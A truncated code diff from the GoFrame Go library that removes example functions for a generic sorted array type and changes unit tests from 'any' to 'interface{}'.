-func ExampleSortedTArray_Get() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "d", "c", "a", "e"}, gutil.ComparatorT)
-	sGet, sBool := s.Get(3)
-	fmt.Println(s)
-	fmt.Println(sGet, sBool)
-
-	// Output:
-	// ["a","b","c","d","e"]
-	// d true
-}
-
-func ExampleSortedTArray_SetArray() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray([]string{"b", "d", "a", "c"})
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-}
-
-func ExampleSortedTArray_SetUnique() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray([]string{"b", "d", "a", "c", "c", "a"})
-	fmt.Println(s.SetUnique(true))
-
-	// Output:
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_Sum() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray([]string{"5", "3", "2"})
-	fmt.Println(s)
-	a := s.Sum()
-	fmt.Println(a)
-
-	// Output:
-	// [2,3,5]
-	// 10
-}
-
-func ExampleSortedTArray_Sort() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "a", "c"})
-	fmt.Println(s)
-	a := s.Sort()
-	fmt.Println(a)
-
-	// Output:
-	// ["a","b","c","d"]
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_Remove() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "c", "a"})
-	fmt.Println(s.Slice())
-	s.Remove(1)
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-	// [a c d]
-}
-
-func ExampleSortedTArray_RemoveValue() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "c", "a"})
-	fmt.Println(s.Slice())
-	s.RemoveValue("b")
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-	// [a c d]
-}
-
-func ExampleSortedTArray_PopLeft() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "c", "a"})
-	r, _ := s.PopLeft()
-	fmt.Println(r)
-	fmt.Println(s.Slice())
-
-	// Output:
-	// a
-	// [b c d]
-}
-
-func ExampleSortedTArray_PopRight() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "c", "a"})
-	fmt.Println(s.Slice())
-	r, _ := s.PopRight()
-	fmt.Println(r)
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-	// d
-	// [a b c]
-}
-
-func ExampleSortedTArray_PopRights() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.PopRights(2)
-	fmt.Println(r)
-	fmt.Println(s)
-
-	// Output:
-	// [g h]
-	// ["a","b","c","d","e","f"]
-}
-
-func ExampleSortedTArray_Rand() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r, _ := s.PopRand()
-	fmt.Println(r)
-	fmt.Println(s)
-
-	// May Output:
-	// b
-	// ["a","c","d","e","f","g","h"]
-}
-
-func ExampleSortedTArray_PopRands() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.PopRands(2)
-	fmt.Println(r)
-	fmt.Println(s)
-
-	// May Output:
-	// [d a]
-	// ["b","c","e","f","g","h"]
-}
-
-func ExampleSortedTArray_PopLefts() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.PopLefts(2)
-	fmt.Println(r)
-	fmt.Println(s)
-
-	// Output:
-	// [a b]
-	// ["c","d","e","f","g","h"]
-}
-
-func ExampleSortedTArray_Range() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.Range(2, 5)
-	fmt.Println(r)
-
-	// Output:
-	// [c d e]
-}
-
-func ExampleSortedTArray_SubSlice() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.SubSlice(3, 4)
-	fmt.Println(s.Slice())
-	fmt.Println(r)
-
-	// Output:
-	// [a b c d e f g h]
-	// [d e f g]
-}
-
-func ExampleSortedTArray_Add() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.Add("b", "d", "c", "a")
-	fmt.Println(s)
-
-	// Output:
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_Append() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"b", "d", "c", "a"})
-	fmt.Println(s)
-	s.Append("f", "e", "g")
-	fmt.Println(s)
-
-	// Output:
-	// ["a","b","c","d"]
-	// ["a","b","c","d","e","f","g"]
-}
-
-func ExampleSortedTArray_Len() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	fmt.Println(s)
-	fmt.Println(s.Len())
-
-	// Output:
-	// ["a","b","c","d","e","f","g","h"]
-	// 8
-}
-
-func ExampleSortedTArray_Slice() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d e f g h]
-}
-
-func ExampleSortedTArray_Interfaces() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.Interfaces()
-	fmt.Println(r)
-
-	// Output:
-	// [a b c d e f g h]
-}
-
-func ExampleSortedTArray_Clone() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	r := s.Clone()
-	fmt.Println(r)
-	fmt.Println(s)
-
-	// Output:
-	// ["a","b","c","d","e","f","g","h"]
-	// ["a","b","c","d","e","f","g","h"]
-}
-
-func ExampleSortedTArray_Clear() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	fmt.Println(s)
-	fmt.Println(s.Clear())
-	fmt.Println(s)
-
-	// Output:
-	// ["a","b","c","d","e","f","g","h"]
-	// []
-	// []
-}
-
-func ExampleSortedTArray_Contains() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	fmt.Println(s.Contains("e"))
-	fmt.Println(s.Contains("E"))
-	fmt.Println(s.Contains("z"))
-
-	// Output:
-	// true
-	// false
-	// false
-}
-
-func ExampleSortedTArray_Search() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"})
-	fmt.Println(s)
-	fmt.Println(s.Search("e"))
-	fmt.Println(s.Search("E"))
-	fmt.Println(s.Search("z"))
-
-	// Output:
-	// ["a","b","c","d","e","f","g","h"]
-	// 4
-	// -1
-	// -1
-}
-
-func ExampleSortedTArray_Unique() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.SetArray(g.SliceStr{"a", "b", "c", "c", "c", "d", "d"})
-	fmt.Println(s)
-	fmt.Println(s.Unique())
-
-	// Output:
-	// ["a","b","c","c","c","d","d"]
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_LockFunc() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s.LockFunc(func(array []string) {
-		array[len(array)-1] = "GF fans"
-	})
-	fmt.Println(s)
-
-	// Output:
-	// ["GF fans","a","b"]
-}
-
-func ExampleSortedTArray_RLockFunc() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s.RLockFunc(func(array []string) {
-		array[len(array)-1] = "GF fans"
-		fmt.Println(array[len(array)-1])
-	})
-	fmt.Println(s)
-
-	// Output:
-	// GF fans
-	// ["a","b","GF fans"]
-}
-
-func ExampleSortedTArray_Merge() {
-	s1 := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s2 := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s1.SetArray(g.SliceStr{"b", "c", "a"})
-	s2.SetArray(g.SliceStr{"e", "d", "f"})
-	fmt.Println(s1)
-	fmt.Println(s2)
-	s1.Merge(s2)
-	fmt.Println(s1)
-
-	// Output:
-	// ["a","b","c"]
-	// ["d","e","f"]
-	// ["a","b","c","d","e","f"]
-}
-
-func ExampleSortedTArray_Chunk() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"}, gutil.ComparatorT)
-	r := s.Chunk(3)
-	fmt.Println(r)
-
-	// Output:
-	// [[a b c] [d e f] [g h]]
-}
-
-func ExampleSortedTArray_Rands() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"}, gutil.ComparatorT)
-	fmt.Println(s)
-	fmt.Println(s.Rands(3))
-
-	// May Output:
-	// ["a","b","c","d","e","f","g","h"]
-	// [h g c]
-}
-
-func ExampleSortedTArray_Join() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"c", "b", "a", "d", "f", "e", "h", "g"}, gutil.ComparatorT)
-	fmt.Println(s.Join(","))
-
-	// Output:
-	// a,b,c,d,e,f,g,h
-}
-
-func ExampleSortedTArray_CountValues() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"a", "b", "c", "c", "c", "d", "d"}, gutil.ComparatorT)
-	fmt.Println(s.CountValues())
-
-	// Output:
-	// map[a:1 b:1 c:3 d:2]
-}
-
-func ExampleSortedTArray_Iterator() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s.Iterator(func(k int, v string) bool {
-		fmt.Println(k, v)
-		return true
-	})
-
-	// Output:
-	// 0 a
-	// 1 b
-	// 2 c
-}
-
-func ExampleSortedTArray_IteratorAsc() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s.IteratorAsc(func(k int, v string) bool {
-		fmt.Println(k, v)
-		return true
-	})
-
-	// Output:
-	// 0 a
-	// 1 b
-	// 2 c
-}
-
-func ExampleSortedTArray_IteratorDesc() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s.IteratorDesc(func(k int, v string) bool {
-		fmt.Println(k, v)
-		return true
-	})
-
-	// Output:
-	// 2 c
-	// 1 b
-	// 0 a
-}
-
-func ExampleSortedTArray_String() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	fmt.Println(s.String())
-
-	// Output:
-	// ["a","b","c"]
-}
-
-func ExampleSortedTArray_MarshalJSON() {
-	type Student struct {
-		ID     int
-		Name   string
-		Levels garray.SortedTArray[string]
-	}
-	r := garray.NewSortedTArrayFrom(g.SliceStr{"b", "c", "a"}, gutil.ComparatorT)
-	s := Student{
-		ID:     1,
-		Name:   "john",
-		Levels: *r,
-	}
-	b, _ := json.Marshal(s)
-	fmt.Println(string(b))
-
-	// Output:
-	// {"ID":1,"Name":"john","Levels":["a","b","c"]}
-}
-
-func ExampleSortedTArray_UnmarshalJSON() {
-	b := []byte(`{"Id":1,"Name":"john","Lessons":["Math","English","Sport"]}`)
-	type Student struct {
-		Id      int
-		Name    string
-		Lessons *garray.StrArray
-	}
-	s := Student{}
-	json.Unmarshal(b, &s)
-	fmt.Println(s)
-
-	// Output:
-	// {1 john ["Math","English","Sport"]}
-}
-
-func ExampleSortedTArray_UnmarshalValue() {
-	type Student struct {
-		Name    string
-		Lessons *garray.StrArray
-	}
-	var s *Student
-	gconv.Struct(g.Map{
-		"name":    "john",
-		"lessons": []byte(`["Math","English","Sport"]`),
-	}, &s)
-	fmt.Println(s)
-
-	var s1 *Student
-	gconv.Struct(g.Map{
-		"name":    "john",
-		"lessons": g.SliceStr{"Math", "English", "Sport"},
-	}, &s1)
-	fmt.Println(s1)
-
-	// Output:
-	// &{john ["Math","English","Sport"]}
-	// &{john ["Math","English","Sport"]}
-}
-
-func ExampleSortedTArray_Filter() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "a", "", "c", "", "", "d"}, gutil.ComparatorT)
-	fmt.Println(s)
-	fmt.Println(s.Filter(func(index int, value string) bool {
-		return empty.IsEmpty(value)
-	}))
-
-	// Output:
-	// ["","","","a","b","c","d"]
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_FilterEmpty() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "a", "", "c", "", "", "d"}, gutil.ComparatorT)
-	fmt.Println(s)
-	fmt.Println(s.FilterEmpty())
-
-	// Output:
-	// ["","","","a","b","c","d"]
-	// ["a","b","c","d"]
-}
-
-func ExampleSortedTArray_IsEmpty() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "a", "", "c", "", "", "d"}, gutil.ComparatorT)
-	fmt.Println(s.IsEmpty())
-	s1 := garray.NewSortedTArray[string](gutil.ComparatorT)
-	fmt.Println(s1.IsEmpty())
-
-	// Output:
-	// false
-	// true
-}

container/garray/garray_z_unit_all_basic_test.go

@@ -131,7 +131,7 @@ func Test_SortedStrArray2(t *testing.T) {
 func Test_SortedArray1(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		expect := []string{"0", "1", "10", "2", "3", "4", "5", "6", "7", "8", "9"}
-		array := garray.NewSortedArray(func(v1, v2 any) int {
+		array := garray.NewSortedArray(func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		})
 		for i := 10; i > -1; i-- {
@@ -144,7 +144,7 @@ func Test_SortedArray1(t *testing.T) {
 func Test_SortedArray2(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		expect := []string{"0", "1", "10", "2", "3", "4", "5", "6", "7", "8", "9"}
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array := garray.NewSortedArray(func1)
@@ -161,7 +161,7 @@ func Test_SortedArray2(t *testing.T) {
 
 func TestNewFromCopy(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"100", "200", "300", "400", "500", "600"}
+		a1 := []interface{}{"100", "200", "300", "400", "500", "600"}
 		array1 := garray.NewFromCopy(a1)
 		t.AssertIN(array1.PopRands(2), a1)
 		t.Assert(len(array1.PopRands(1)), 1)

container/garray/garray_z_unit_normal_any_test.go

@@ -22,10 +22,10 @@ import (
 
 func Test_Array_Basic(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		expect := []any{0, 1, 2, 3}
+		expect := []interface{}{0, 1, 2, 3}
 		array := garray.NewArrayFrom(expect)
 		array2 := garray.NewArrayFrom(expect)
-		array3 := garray.NewArrayFrom([]any{})
+		array3 := garray.NewArrayFrom([]interface{}{})
 		array4 := garray.NewArrayRange(1, 5, 1)
 
 		t.Assert(array.Slice(), expect)
@@ -86,10 +86,10 @@ func Test_Array_Basic(t *testing.T) {
 		t.Assert(array.Len(), 4)
 		array.InsertBefore(0, 100)
 		array.InsertAfter(0, 200)
-		t.Assert(array.Slice(), []any{100, 200, 2, 2, 3, 4})
+		t.Assert(array.Slice(), []interface{}{100, 200, 2, 2, 3, 4})
 		array.InsertBefore(5, 300)
 		array.InsertAfter(6, 400)
-		t.Assert(array.Slice(), []any{100, 200, 2, 2, 3, 300, 4, 400})
+		t.Assert(array.Slice(), []interface{}{100, 200, 2, 2, 3, 300, 4, 400})
 		t.Assert(array.Clear().Len(), 0)
 		err = array.InsertBefore(99, 9900)
 		t.AssertNE(err, nil)
@@ -102,17 +102,17 @@ func Test_Array_Basic(t *testing.T) {
 
 func TestArray_Sort(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		expect1 := []any{0, 1, 2, 3}
-		expect2 := []any{3, 2, 1, 0}
+		expect1 := []interface{}{0, 1, 2, 3}
+		expect2 := []interface{}{3, 2, 1, 0}
 		array := garray.NewArray()
 		for i := 3; i >= 0; i-- {
 			array.Append(i)
 		}
-		array.SortFunc(func(v1, v2 any) bool {
+		array.SortFunc(func(v1, v2 interface{}) bool {
 			return v1.(int) < v2.(int)
 		})
 		t.Assert(array.Slice(), expect1)
-		array.SortFunc(func(v1, v2 any) bool {
+		array.SortFunc(func(v1, v2 interface{}) bool {
 			return v1.(int) > v2.(int)
 		})
 		t.Assert(array.Slice(), expect2)
@@ -121,20 +121,20 @@ func TestArray_Sort(t *testing.T) {
 
 func TestArray_Unique(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		expect := []any{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
+		expect := []interface{}{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
 		array := garray.NewArrayFrom(expect)
-		t.Assert(array.Unique().Slice(), []any{1, 2, 3, 4, 5})
+		t.Assert(array.Unique().Slice(), []interface{}{1, 2, 3, 4, 5})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		expect := []any{}
+		expect := []interface{}{}
 		array := garray.NewArrayFrom(expect)
-		t.Assert(array.Unique().Slice(), []any{})
+		t.Assert(array.Unique().Slice(), []interface{}{})
 	})
 }
 
 func TestArray_PushAndPop(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		expect := []any{0, 1, 2, 3}
+		expect := []interface{}{0, 1, 2, 3}
 		array := garray.NewArrayFrom(expect)
 		t.Assert(array.Slice(), expect)
 
@@ -147,24 +147,24 @@ func TestArray_PushAndPop(t *testing.T) {
 		t.Assert(ok, true)
 
 		v, ok = array.PopRand()
-		t.AssertIN(v, []any{1, 2})
+		t.AssertIN(v, []interface{}{1, 2})
 		t.Assert(ok, true)
 
 		v, ok = array.PopRand()
-		t.AssertIN(v, []any{1, 2})
+		t.AssertIN(v, []interface{}{1, 2})
 		t.Assert(ok, true)
 
 		t.Assert(array.Len(), 0)
 		array.PushLeft(1).PushRight(2)
-		t.Assert(array.Slice(), []any{1, 2})
+		t.Assert(array.Slice(), []interface{}{1, 2})
 	})
 }
 
 func TestArray_PopRands(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{100, 200, 300, 400, 500, 600}
+		a1 := []interface{}{100, 200, 300, 400, 500, 600}
 		array := garray.NewFromCopy(a1)
-		t.AssertIN(array.PopRands(2), []any{100, 200, 300, 400, 500, 600})
+		t.AssertIN(array.PopRands(2), []interface{}{100, 200, 300, 400, 500, 600})
 	})
 }
 
@@ -247,56 +247,56 @@ func TestArray_PopLeftsAndPopRights(t *testing.T) {
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		value1 := []any{0, 1, 2, 3, 4, 5, 6}
-		value2 := []any{0, 1, 2, 3, 4, 5, 6}
+		value1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
+		value2 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(value1)
 		array2 := garray.NewArrayFrom(value2)
-		t.Assert(array1.PopLefts(2), []any{0, 1})
-		t.Assert(array1.Slice(), []any{2, 3, 4, 5, 6})
-		t.Assert(array1.PopRights(2), []any{5, 6})
-		t.Assert(array1.Slice(), []any{2, 3, 4})
-		t.Assert(array1.PopRights(20), []any{2, 3, 4})
-		t.Assert(array1.Slice(), []any{})
-		t.Assert(array2.PopLefts(20), []any{0, 1, 2, 3, 4, 5, 6})
-		t.Assert(array2.Slice(), []any{})
+		t.Assert(array1.PopLefts(2), []interface{}{0, 1})
+		t.Assert(array1.Slice(), []interface{}{2, 3, 4, 5, 6})
+		t.Assert(array1.PopRights(2), []interface{}{5, 6})
+		t.Assert(array1.Slice(), []interface{}{2, 3, 4})
+		t.Assert(array1.PopRights(20), []interface{}{2, 3, 4})
+		t.Assert(array1.Slice(), []interface{}{})
+		t.Assert(array2.PopLefts(20), []interface{}{0, 1, 2, 3, 4, 5, 6})
+		t.Assert(array2.Slice(), []interface{}{})
 	})
 }
 
 func TestArray_Range(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		value1 := []any{0, 1, 2, 3, 4, 5, 6}
+		value1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(value1)
 		array2 := garray.NewArrayFrom(value1, true)
-		t.Assert(array1.Range(0, 1), []any{0})
-		t.Assert(array1.Range(1, 2), []any{1})
-		t.Assert(array1.Range(0, 2), []any{0, 1})
+		t.Assert(array1.Range(0, 1), []interface{}{0})
+		t.Assert(array1.Range(1, 2), []interface{}{1})
+		t.Assert(array1.Range(0, 2), []interface{}{0, 1})
 		t.Assert(array1.Range(-1, 10), value1)
 		t.Assert(array1.Range(10, 2), nil)
-		t.Assert(array2.Range(1, 3), []any{1, 2})
+		t.Assert(array2.Range(1, 3), []interface{}{1, 2})
 	})
 }
 
 func TestArray_Merge(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
 			return 1
 		}
 
-		i1 := []any{0, 1, 2, 3}
-		i2 := []any{4, 5, 6, 7}
+		i1 := []interface{}{0, 1, 2, 3}
+		i2 := []interface{}{4, 5, 6, 7}
 		array1 := garray.NewArrayFrom(i1)
 		array2 := garray.NewArrayFrom(i2)
-		t.Assert(array1.Merge(array2).Slice(), []any{0, 1, 2, 3, 4, 5, 6, 7})
+		t.Assert(array1.Merge(array2).Slice(), []interface{}{0, 1, 2, 3, 4, 5, 6, 7})
 
 		// s1 := []string{"a", "b", "c", "d"}
 		s2 := []string{"e", "f"}
 		i3 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i4 := garray.NewArrayFrom([]any{3})
+		i4 := garray.NewArrayFrom([]interface{}{3})
 		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		s4 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 		s5 := garray.NewSortedStrArrayFrom(s2)
 		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 		a1 := garray.NewArrayFrom(i1)
@@ -313,92 +313,92 @@ func TestArray_Merge(t *testing.T) {
 
 func TestArray_Fill(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0}
-		a2 := []any{0}
+		a1 := []interface{}{0}
+		a2 := []interface{}{0}
 		array1 := garray.NewArrayFrom(a1)
 		array2 := garray.NewArrayFrom(a2, true)
 
 		t.Assert(array1.Fill(1, 2, 100), nil)
-		t.Assert(array1.Slice(), []any{0, 100, 100})
+		t.Assert(array1.Slice(), []interface{}{0, 100, 100})
 
 		t.Assert(array2.Fill(0, 2, 100), nil)
-		t.Assert(array2.Slice(), []any{100, 100})
+		t.Assert(array2.Slice(), []interface{}{100, 100})
 
 		t.AssertNE(array2.Fill(-1, 2, 100), nil)
-		t.Assert(array2.Slice(), []any{100, 100})
+		t.Assert(array2.Slice(), []interface{}{100, 100})
 	})
 }
 
 func TestArray_Chunk(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5}
+		a1 := []interface{}{1, 2, 3, 4, 5}
 		array1 := garray.NewArrayFrom(a1)
 		chunks := array1.Chunk(2)
 		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []any{1, 2})
-		t.Assert(chunks[1], []any{3, 4})
-		t.Assert(chunks[2], []any{5})
+		t.Assert(chunks[0], []interface{}{1, 2})
+		t.Assert(chunks[1], []interface{}{3, 4})
+		t.Assert(chunks[2], []interface{}{5})
 		t.Assert(array1.Chunk(0), nil)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5}
+		a1 := []interface{}{1, 2, 3, 4, 5}
 		array1 := garray.NewArrayFrom(a1)
 		chunks := array1.Chunk(3)
 		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5})
+		t.Assert(chunks[0], []interface{}{1, 2, 3})
+		t.Assert(chunks[1], []interface{}{4, 5})
 		t.Assert(array1.Chunk(0), nil)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		chunks := array1.Chunk(2)
 		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []any{1, 2})
-		t.Assert(chunks[1], []any{3, 4})
-		t.Assert(chunks[2], []any{5, 6})
+		t.Assert(chunks[0], []interface{}{1, 2})
+		t.Assert(chunks[1], []interface{}{3, 4})
+		t.Assert(chunks[2], []interface{}{5, 6})
 		t.Assert(array1.Chunk(0), nil)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		chunks := array1.Chunk(3)
 		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5, 6})
+		t.Assert(chunks[0], []interface{}{1, 2, 3})
+		t.Assert(chunks[1], []interface{}{4, 5, 6})
 		t.Assert(array1.Chunk(0), nil)
 	})
 }
 
 func TestArray_Pad(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0}
+		a1 := []interface{}{0}
 		array1 := garray.NewArrayFrom(a1)
-		t.Assert(array1.Pad(3, 1).Slice(), []any{0, 1, 1})
-		t.Assert(array1.Pad(-4, 1).Slice(), []any{1, 0, 1, 1})
-		t.Assert(array1.Pad(3, 1).Slice(), []any{1, 0, 1, 1})
+		t.Assert(array1.Pad(3, 1).Slice(), []interface{}{0, 1, 1})
+		t.Assert(array1.Pad(-4, 1).Slice(), []interface{}{1, 0, 1, 1})
+		t.Assert(array1.Pad(3, 1).Slice(), []interface{}{1, 0, 1, 1})
 	})
 }
 
 func TestArray_SubSlice(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		array2 := garray.NewArrayFrom(a1, true)
-		t.Assert(array1.SubSlice(0, 2), []any{0, 1})
-		t.Assert(array1.SubSlice(2, 2), []any{2, 3})
-		t.Assert(array1.SubSlice(5, 8), []any{5, 6})
+		t.Assert(array1.SubSlice(0, 2), []interface{}{0, 1})
+		t.Assert(array1.SubSlice(2, 2), []interface{}{2, 3})
+		t.Assert(array1.SubSlice(5, 8), []interface{}{5, 6})
 		t.Assert(array1.SubSlice(9, 1), nil)
-		t.Assert(array1.SubSlice(-2, 2), []any{5, 6})
+		t.Assert(array1.SubSlice(-2, 2), []interface{}{5, 6})
 		t.Assert(array1.SubSlice(-9, 2), nil)
 		t.Assert(array1.SubSlice(1, -2), nil)
-		t.Assert(array2.SubSlice(0, 2), []any{0, 1})
+		t.Assert(array2.SubSlice(0, 2), []interface{}{0, 1})
 	})
 }
 
 func TestArray_Rand(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(len(array1.Rands(2)), 2)
 		t.Assert(len(array1.Rands(10)), 10)
@@ -406,7 +406,7 @@ func TestArray_Rand(t *testing.T) {
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewArrayFrom(s1)
 		i1, ok := a1.Rand()
 		t.Assert(ok, true)
@@ -415,7 +415,7 @@ func TestArray_Rand(t *testing.T) {
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
+		a1 := []interface{}{}
 		array1 := garray.NewArrayFrom(a1)
 		rand, found := array1.Rand()
 		t.AssertNil(rand)
@@ -423,7 +423,7 @@ func TestArray_Rand(t *testing.T) {
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
+		a1 := []interface{}{}
 		array1 := garray.NewArrayFrom(a1)
 		rand := array1.Rands(1)
 		t.AssertNil(rand)
@@ -432,7 +432,7 @@ func TestArray_Rand(t *testing.T) {
 
 func TestArray_Shuffle(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(array1.Shuffle().Len(), 7)
 	})
@@ -440,27 +440,27 @@ func TestArray_Shuffle(t *testing.T) {
 
 func TestArray_Reverse(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
